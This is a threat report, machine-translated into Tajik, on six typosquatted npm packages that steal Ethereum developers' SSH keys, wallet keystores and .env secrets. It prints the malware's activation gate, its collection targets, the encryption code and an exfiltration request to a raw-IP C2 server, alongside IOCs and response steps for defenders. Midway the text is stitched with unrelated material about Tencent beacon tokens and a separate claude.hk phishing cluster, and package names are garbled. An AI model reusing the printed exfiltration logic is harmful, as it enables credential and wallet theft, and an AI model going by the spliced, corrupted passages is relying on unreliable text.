Ҳамлаи EVMDeFi npm Typosquatting калидҳои таҳиягарро дуздид

Ҳамлаи Typosquatting бо EVM/DeFi npm калидҳои таҳиягарро дуздид

ХИБ; DR

6 майи соли 2026, як ношири ягонаи npm, namikazesarada010206, шаш бастаи зарароварро, ки экосистемаи таҳиягарони Ethereum, Solidity ва DeFi-ро ҳадаф қарор додаанд, пахш кард.

Бастаҳо, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsва web3-utils-core, номҳои қобили қабулро истифода бурд, ки барои абзорҳои маъмули Web3 ба китобхонаҳои ёрирасон монанд буданд.

Ҳамаи шаш баста дорои якхела буданд telemetry.js файл. Файл дар тамоми кластер бо SHA-256 якхела аз ҷиҳати байт буд:

ША-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Нармафзори зараровар ҳангоми насбкунӣ кор намекунад. preinstall or postinstall қалмоқ. Ба ҷои ин, он ҳангоми ворид кардани баста тавассути require().

Ин тафсилот муҳим аст.

Имплант то он даме, ки таҳиягар воқеан бастаро истифода барад, интизор мешавад. Сипас, он месанҷад, ки оё истгоҳи корӣ ба муҳити воқеии таҳияи Ethereum / Solidity монанд аст ё не. Он калидҳои Alchemy ё Infura, калидҳои хусусӣ, мнемоника, калидҳои паҳнкунанда ё директорияи маҳаллии Foundry-ро ҷустуҷӯ мекунад.

Агар мизбон мувофиқат кунад, дузд калидҳои махфии SSH, мағозаҳои калидҳои ҳамёнҳои Foundry / Geth / Brownie-ро ҷамъ мекунад, .env* файлҳо ва тағйирёбандаҳои ҳассоси муҳити зист. Он бастаро бо истифода аз ибораи рамзгузоришуда бо AES-256-GCM рамзгузорӣ мекунад ва онро ба нуқтаи ниҳоии IPv4 C2 хом бо тасдиқи TLS ғайрифаъол мефиристад.

Системаи огоҳкунии барвақтии нармафзори зараровар (MEW)-и Xygeni ҳамаи шаш бастаро ҳамчун зараровар тасдиқ кард. Бастаи гузориши несткунии сабти ном дар npm дар ҳоли интизорӣ аст.

Кластер: Шаш баста, як ношир

Ҳисоби ношир namikazesarada010206 ба суроғаи тасдиқнашудаи Gmail пайваст карда шуда буд namikazesarada010206@gmail.com.

Ин маърака ҳамчун нашри якрӯза дар 6 майи соли 2026 пайдо шуд. Ҳамаи шаш баста чунин версия карда шуданд 1.0.0, вобастагии сифрӣ ба вақти иҷро дошт ва танҳо се файлро фиристода буд:

package.json index.js telemetry.js

Онҳо инчунин ҳамон анбори манбаъро эълон карданд:

https://github.com/harunosakura030303-maker/evmchain-config

Се бастаи аввал аз ҷониби сканерҳои MEW ҳангоми нашри аввал сабт карда шуданд. Се бастаи боқимонда пас аз баррасии таҳлилгарони профили npm-и ношир бо нишони маҷбурӣ қайд карда шуданд. Як бор ҳамон байтҳо якхела буданд telemetry.js дар саросари кластер тасдиқ карда шуд, онҳо аз рӯи мувофиқат ҳамчун зараровар баста шуданд.

бастаи Version npm нашр шудааст Чиптаи MEW Ҳукми
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Бадовар
viem-utils-core 1.0.0 2026-05-06 #51050 Бадовар
утилитҳои hardhat-core 1.0.0 2026-05-06 #51051 Бадовар
утилитҳои evm 1.0.0 2026-05-06 #51069 Бадхоҳона, аз рӯи пайвастагӣ
утилитҳои рехтагарӣ 1.0.0 2026-05-06 #51071 Бадхоҳона, аз рӯи пайвастагӣ
web3-utils-core 1.0.0 2026-05-06 #51070 Бадхоҳона, аз рӯи пайвастагӣ

Стратегияи номгузорӣ содда, вале самаранок аст.

Ин бастаҳо номҳои дақиқи болообро тақлид намекунанд. Ба ҷои ин, онҳо пасвандҳои эҳтимолии "фоиданок"-ро истифода мебаранд, ба монанди -core, -utilsва -utils-coreИн онҳоро ба китобхонаҳои ҳамроҳ монанд мекунад, ки таҳиягар метавонад интизор дошта бошад, ки дар наздикии абзорҳои Web3 бубинад.

Бастаи зараровар Ҳадафи қонунӣ
viem-core viem, як муштарии машҳури Ethereum TypeScript
viem-utils-core вьем
утилитҳои hardhat-core кулоҳи сахт, муҳити рушди Solidity-и асосӣ
утилитҳои evm Фазои номи асбобҳои умумии EVM
утилитҳои рехтагарӣ рехтагарӣ, занҷири асбобҳои Solidity
web3-utils-core web3-utils, ёварони Web3.js

Ин намунаи «бастаи иловагӣ» аст: на «Ман бастаи воқеӣ ҳастам», балки «Ман дар атрофи бастаи воқеӣ ба як ёвари оқилона монанд мешавам».

Барои таҳиягарони DeFi, ки босуръат ҳаракат мекунанд, ин барои эҷоди хатар кофӣ аст.

Вақте ки баста ворид карда мешавад, чӣ мешавад

Занҷири ҳамла хурд, қасдан ва ба муҳитҳои таҳияи криптовалюта нигаронида шудааст.

Қалмоқи насбкунӣ вуҷуд надорад. Ба ҷои ин, ҳар як баста дорои як аст index.js ки функсияи stub-ро содир мекунад ва сипас модули телеметрияи зарароварро бор мекунад.

require('./telemetry').init();

Ин маънои онро дорад, ки нармафзори зараровар ҳангоми воридоти аввал фаъол мешавад.

Ин аз ҷиҳати амалиётӣ барои ҳамлагар муфид аст. Бисёре аз сканнерҳо ва қуттиҳои рег ба рафтори вақти насб тамаркуз мекунанд. Ин баста интизор мешавад, то он даме ки таҳиягар, скрипти сохтмон, маҷмӯи санҷишӣ ё масири вақти иҷро онро истифода барад.

Дарвозаи фаъолсозӣ: Танҳо дар истгоҳҳои кории воқеии таҳиягарони Web3 оташ занед

Қисми муҳимтарини имплантатсия дарвозаи фаъолсозӣ аст.

Нармафзори зараровар тағирёбандаҳои муҳити зистро, ки одатан дар мошинҳои таҳиягарони Ethereum / Solidity мавҷуданд, тафтиш мекунад:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Он инчунин тафтиш мекунад, ки оё Foundry насб шудааст ё не:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Агар ҳеҷ яке аз шартҳо дуруст набошад, функсия бармегардад ва ҳеҷ кор намекунад.

Ин бастаро дар муҳитҳои таҳлили умумӣ оромтар мекунад. Қуттии рег бидуни Foundry, калидҳои Alchemy, калидҳои Infura, калидҳои хусусӣ ё мнемоника метавонад воридоти безарарро бубинад.

Дар хости мувофиқ, нармафзори зараровар пеш аз ҷамъоварӣ аз 60 то 90 сония интизор мешавад:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Таъхир ҳамбастагии возеҳро байни воридот ва эксфилтратсия коҳиш медиҳад. .unref() инчунин имкон медиҳад, ки агар баста дар скрипти кӯтоҳмуддат ворид карда шуда бошад, раванди хост ба таври муқаррарӣ баромад кунад.

Ин рафтори садоноки шикастан ва гирифтан нест. Ин як дуздии мақсаднок аст, ки барои пешгирӣ аз корандозӣ тарҳрезӣ шудааст, агар муҳити таҳиягар аз он дуздӣ кардан арзанда набошад.

Он чизе, ки дузд ҷамъ мекунад

Пас аз гузаштани дарвозаи фаъолсозӣ, нармафзори зараровар аз манбаъҳое, ки дар таҳияи Web3 аз ҳама муҳимтаранд, ҷамъоварӣ мекунад: калидҳои хусусӣ, анборҳои калидҳои ҳамён, эътимодномаҳои ҷойгиркунӣ, асрори абрӣ, токенҳои npm ва конфигуратсияи маҳаллии лоиҳа.

сарчашма Чӣ ҷамъоварӣ шудааст
process.env Ҳар гуна тағйирёбандае, ки ба /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i мувофиқат мекунад
~/.ssh/* Файлҳое, ки дорои PRIVATE KEY ё BEGIN OPENSSH мебошанд, аз ҷумла мундариҷаи пурраи файл
~/.рехтагарӣ/мағозаҳои калидӣ/* Файлҳои мағозаи калидҳои ҳамёни Foundry
~/.ethereum/калиддӯкон/* Файлҳои мағозаи калидҳои ҳамёни Гет
~/.braunie/ҳисобҳо/* Файлҳои мағозаи калидҳои ҳамёни Brownie
${cwd}/.env Мундариҷаи пурраи файл
${cwd}/.env.local Мундариҷаи пурраи файл
${cwd}/.env.production Мундариҷаи пурраи файл
${cwd}/.env.development Мундариҷаи пурраи файл
номи OS.host() Метамаълумоти хост
crypto.randomUUID() Муайянкунандаи қурбонӣ/сессия
Сана.ҳоло() Мӯҳри вақти ҷамъоварӣ
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Токенҳои ATTA инҳоянд:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Мо натавонистем тасдиқ кунем, ки оё телеметрия таҳлили худи оператор буд ё канали алоҳидаи пулӣ. Токенҳои ATTA дар ҳарду намунае, ки мо таҳқиқ кардем, якхелаанд.

Кластери Б: ҳейбай

claude.hk Фишинги OAuth + ANTHROPIC_BASE_URL

Намунаи 1 апрел шохаи аввалияи маъракаи пештара аст.

heibai:2.1.88-claude.hk-4 нашр шудааст аз ҷониби wuguoqiangvip28, ҳисобе, ки 7 июни соли 2025 таъсис дода шудааст. Баста ба таври возеҳ худро бар зидди қонунӣ версия кардааст 2.1.88 Озодкунии антропӣ.

Он бо MITM-и сертификати CA-ро мушкиле надорад. Ба ҷои ин, он ба корбар дар бораи нуқтаи ниҳоии OAuth дурӯғ мегӯяд.

Иловаҳои зараровар дар болои манбаи фошшудаи рамзи Клод иборатанд аз:

сарчашма Чӣ ҷамъоварӣ шудааст
process.env Ҳар гуна тағйирёбандае, ки ба /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i мувофиқат мекунад
~/.ssh/* Файлҳое, ки дорои PRIVATE KEY ё BEGIN OPENSSH мебошанд, аз ҷумла мундариҷаи пурраи файл
~/.рехтагарӣ/мағозаҳои калидӣ/* Файлҳои мағозаи калидҳои ҳамёни Foundry
~/.ethereum/калиддӯкон/* Файлҳои мағозаи калидҳои ҳамёни Гет
~/.braunie/ҳисобҳо/* Файлҳои мағозаи калидҳои ҳамёни Brownie
${cwd}/.env Мундариҷаи пурраи файл
${cwd}/.env.local Мундариҷаи пурраи файл
${cwd}/.env.production Мундариҷаи пурраи файл
${cwd}/.env.development Мундариҷаи пурраи файл
номи OS.host() Метамаълумоти хост
crypto.randomUUID() Муайянкунандаи қурбонӣ/сессия
Сана.ҳоло() Мӯҳри вақти ҷамъоварӣ

Рӯйхати мақсаднок хеле мушаххас аст. Ин дуздии умумии браузер ё хароб кардани маълумоти васеъ нест. Он барои таҳиягароне пешбинӣ шудааст, ки барномаҳои Ethereum-ро месозанд, месанҷанд, ҷойгир мекунанд ё кор мекунанд.

Дохил кардани анборҳои калидии Foundry, Geth ва Brownie махсусан муҳим аст. Ин файлҳо метавонанд дастрасии мустақимро ба ҳамёнҳо ё шахсиятҳои ҷойгиркунӣ нишон диҳанд. Агар ҳамлагар онҳоро бо паролҳо, мнемоникаҳо ё асрори муҳити зист ҷуфт кунад, онҳо метавонанд маблағҳоро интиқол диҳанд, тақлидкунандагони ҷойгиркунандаро истифода баранд ё амалиёти шартномаҳои интеллектуалиро зери хатар гузоранд.

Рамзгузорӣ пеш аз эксфилтратсия

Нармафзори зараровар маълумоти ҷамъовардашударо пеш аз фиристодан рамзгузорӣ мекунад.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Рамзи рамзгузоришуда чунин аст:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Боркунии ниҳоӣ ҳамчун JSON печонида шудааст:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Рамзгузорӣ худ аз худ нармафзори зарароварро пешрафтатар намекунад. Аммо, он санҷиши шабакаро душвортар мекунад. Муҳофизе, ки баромади системаро тамошо мекунад, боркунии JSON-ро мебинад, аммо калидҳои дуздидашуда, файлҳои ҳамён ё... .env мундариҷа бидуни пароли сахт рамзгузорӣшуда ва мантиқи рамзкушоӣ.

Эксфилтратсия ба IPv4 C2 хом

Роҳи эксфилтратсия сахт рамзгузорӣ шудааст:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Нармафзори зараровар маълумотро ба инҳо мефиристад:

https://76.13.37.80:8443/api/v1/telemetry

Ду тафсилот ба назар мерасанд.

Аввалан, C2 суроғаи IPv4-и хом аст, на домен. Ин ниёз ба бақайдгирии доменро аз байн мебарад ва аз баъзе ошкоркуниҳои вобаста ба домен пешгирӣ мекунад.

Дуюм, тасдиқи TLS бо инҳо ғайрифаъол аст:

rejectUnauthorized: false

Ин ба нармафзори зараровар имкон медиҳад, ки ҳама гуна сертификат, аз ҷумла сертификатҳои худимзошударо, қабул кунад. Ба ибораи дигар, ҳамлагар интиқоли рамзгузоришударо бидуни ниёз ба сертификати эътибори оммавӣ ба даст меорад.

Мантиқи кӯшиши такрорӣ ва хости эҳтиётӣ вуҷуд надорад. Хатогиҳо хомӯшона фурӯ бурда мешаванд. Ин бастаро дар сурати C2 хомӯш ё дастнорас буданаш хомӯш нигоҳ медорад.

Чаро ин маърака муҳим аст

Аксари бастаҳои зараровари npm, ки барои таҳиягарон равона шудаанд, эътимодномаҳои васеъро пайгирӣ мекунанд: токенҳои npm, калидҳои AWS, токенҳои GitHub ё .npmrc файлҳо.

Ин маърака ҳадафро маҳдуд мекунад.

Он нишонаҳоеро меҷӯяд, ки дастгоҳ ба як таҳиягари Ethereum ё Solidity тааллуқ дорад. Сипас, он маҳз дороиҳоеро, ки дар он муҳит муҳиманд, мегирад: анборҳои калидҳои ҳамён, калидҳои хусусӣ, мнемоника, калидҳои паҳнкунанда, .env файлҳо ва калидҳои SSH.

Ин маъракаро барои дастаҳои Web3 нисбат ба дузди npm-и умумӣ хатарноктар мекунад.

Сирояти муваффақ метавонад боиси пайдоиши инҳо гардад:

  • Ҳамёнҳои ҷойгиркунӣ
  • Калидҳои идоракунии шартномаи интеллектуалӣ
  • Калидҳои провайдери RPC
  • Эътимодномаҳои ҷойгиркунии абрӣ
  • нашри токенҳои npm
  • Дастрасии SSH ба таҳиягар ё сохтани инфрасохтор
  • Асрори лоиҳа дар он нигоҳ дошта мешавад .env файлҳои
  • Анборҳои калидҳои ҳамён барои Foundry, Geth ё Brownie

Номҳои бастаҳо инчунин муҳандисии иҷтимоии возеҳро нишон медиҳанд. Онҳо экосистемаи таҳиягарони Web3-ро тавассути номҳои шиноси абзорҳо ҳадаф қарор медиҳанд: viem, hardhat, foundry, evmва web3.

Ба иҷрокунанда лозим нест, ки лоиҳаҳои воқеиро ба созиш оварад. Онҳо танҳо ба як таҳиягар ниёз доранд, то он чизеро насб кунанд, ки ба як бастаи ҳамроҳи муносиб монанд аст.

Нишондиҳандаҳои созиш ва ошкоркунӣ

Бастаҳо ва ношир
соҳа арзиши
ношири npm namikazesarada010206
Почтаи электронии ношир namikazesarada010206@gmail.com
почтаи электронӣ тасдиқ карда шуд Не
SCM тасдиқ шудааст Не
Рейтинги обрӯ 1.0
бастаҳои viem-core, viem-utils-core, hardhat-core-utils, evm-utils, döküm-utils, web3-utils-core
версияҳои Ҳамаи 1.0.0
Анбори манбаъ https://github.com/harunosakura030303-maker/evmchain-config
Зараровар тасдиқ шудааст Ҳамаи шаш баста
шабакаи
Намуди арзиши
Нуқтаи ниҳоии C2 https://76.13.37.80:8443/api/v1/telemetry
IP-и C2 76.13.37.80
Порти C2 8443/tcp
Рафтори TLS рад карданИҷозатнопазир: дурӯғ
Нақшаи боркашӣ {"v":2,"iv": "д": "т": }
Файлҳо ва хэшҳо
Намуди арзиши
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Тарҳбандии баста баста.json, index.js, telemetry.js
Шумораи файлҳо 3
Андозаи умумии тахминӣ 3.4 KB

Сигналҳои фаъолсозӣ

Нармафзори зараровар ин тағирёбандаҳои муҳити зистро тафтиш мекунад:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Он инчунин тафтиш мекунад:

~/.foundry/

Роҳҳои хости мақсаднок

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Коллексияи муқаррарӣ

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Эзоҳҳои ошкоркунӣ

Якчанд қоидаҳо ин маъракаро бидуни ниёз ба таҳлили пурраи рафторӣ пайгирӣ мекунанд.

Аввалан, файлҳои қулфро барои шаш номи бастаҳои зараровар скан кунед:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Ҳар гуна мувофиқат дар package-lock.json, yarn.lock, pnpm-lock.yaml, ё node_modules Таърих бояд ҳамчун як ҳодисаи ҷиддӣ баррасӣ шавад.

Дуюм, назорат кардани равандҳои Node.js, ки роҳҳои анбори калидҳои ҳамёнро мехонанд:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Ин барои бастае, ки ҳамчун вобастагии ёрирасон ворид карда мешавад, кам рафтори қонунӣ аст. Ин махсусан ҳангоми пайгирии фаъолияти шабакаи берунӣ шубҳанок аст.

Сеюм, пайвастҳои HTTPS-ро масдуд кунед ё огоҳ кунед ба:

76.13.37.80:8443

Хусусан вақте ки роҳи дархост чунин аст:

/api/v1/telemetry

Чорум, ҷустуҷӯи бастаҳои npm, ки ин хусусиятҳоро дар бар мегиранд:

  • Ношири нав ё камобрӯ
  • Ҳисоби тасдиқнашудаи Gmail
  • Номи бастаи ҳамшафати Web3
  • Таърихи пурмазмуни анбор вуҷуд надорад
  • Тарҳбандии бастаи хурд
  • index.js ки файли телеметрӣ ё ёрирасонро бор мекунад
  • Вобастагии вақти иҷро вуҷуд надорад
  • Маҷмӯаи тағйирёбандаҳои ҳассоси муҳити зист
  • Дастрасӣ ба мағозаи калидҳои ҳамён

Ин намуна нисбат ба як IOC-и ягона муфидтар аст, зеро бастаи навбатӣ метавонад суроғаи IP-ро тағир диҳад, аммо мантиқи ҳамон ҳадафгириро нигоҳ дорад.

Рӯйхати санҷиши вокуниш ба созиш

Агар таҳиягар яке аз шаш бастаро истифода бурда бошад ва муҳити онҳо бо дарвозаи фаъолсозӣ мувофиқат кунад, истгоҳи кориро ҳамчун осебдида баррасӣ кунед.

Ин мошинҳоеро дар бар мегирад, ки дар онҳо Foundry насб шудааст, калидҳои Alchemy ё Infura дар муҳит, калидҳои хусусӣ, мнемоника ё калидҳои ҷойгиркунанда мавҷуданд.

Ҷавоби тавсияшуда:

  • Хостро аз шабака ҷудо кунед.
  • Нигоҳ доред node_modules, файлҳои қулфшуда, таърихи ҷилд ва гузоришҳои дахлдор барои криминалистика.
  • Ҳар як ҷуфти клавиатураи SSH-ро дар зери он гардонед ~/.ssh/.
  • Калидҳои ҳамёнро барои ҳар як мағозаи калидӣ дар зери он гардонед ~/.foundry, ~/.ethereumва ~/.brownie.
  • Маблағҳоро ба ҳамёнҳои нав интиқол диҳед.
  • Ҳар як сирри нигоҳдошташударо гардонед .env* файлҳо дар анборҳое, ки таҳиягар дар онҳо кор мекард.
  • Асрори муҳити мувофиқ ба регекси коллексияро гардонед, аз ҷумла калидҳои AWS, токенҳои npm, токенҳои ҷойгиркунӣ, калидҳои API, калидҳои хусусӣ, тухмҳо ва мнемоника.
  • Аудити абр, npm, GitHub, провайдери RPC ва фаъолияти blockchain аз замони насби аввалин баста.
  • Пеш аз истифодаи такрорӣ, истгоҳи кориро аз нав тасвир кунед.

Муҳофизон бояд чӣ кор кунанд

Ин маърака нишон медиҳад, ки чӣ гуна чопкунии npm дар атрофи экосистемаҳои таҳиягарони арзишманд таҳаввул меёбад.

Ба актёр истодагарӣ лозим набуд. Онҳо ба нофаҳмиҳо ниёз надоштанд. Онҳо ҳатто ба иҷрои вақти насб ниёз надоштанд.

Ба ҷои ин, онҳо ба се чиз такя мекарданд:

  • Номҳои бастаҳои Web3-и эҳтимолӣ
  • Фаъолсозӣ танҳо дар мошинҳои воқеии таҳияи крипто
  • Дуздии мустақими файлҳо ва асроре, ки барои таҳиягарони Ethereum аз ҳама муҳимтаранд

Ин маъракаро дар сканкунии васеъ ба осонӣ аз даст медиҳад ва вақте ки он дар муҳити дуруст ҷойгир мешавад, хатарнок аст.

Барои дастаҳои Web3, дарс равшан аст: ба номҳои вобастагӣ ҳамчун як қисми модели таҳдиди худ муносибат кунед. Бастае, ки ба як ёвари безарар монанд аст, метавонад роҳи кӯтоҳтарин барои осебпазирии ҳамён гардад.

Ба феҳристи npm гузориш дода шуд. Мо ин паёмро вақте навсозӣ мекунем, ки ҳисоби ношир ва бастаҳо нест карда шаванд.

асбобҳои sca-tools-нармафзор-таҳлили таркиб
Хатарҳои нармафзори худро афзалият диҳед, ислоҳ кунед ва бехатар созед
Ҳисоби ройгони худро дастрас кунед.
Корти кредитӣ лозим нест.

Таҳия ва интиқоли нармафзори худро таъмин кунед

бо маҷмӯи маҳсулоти Xygeni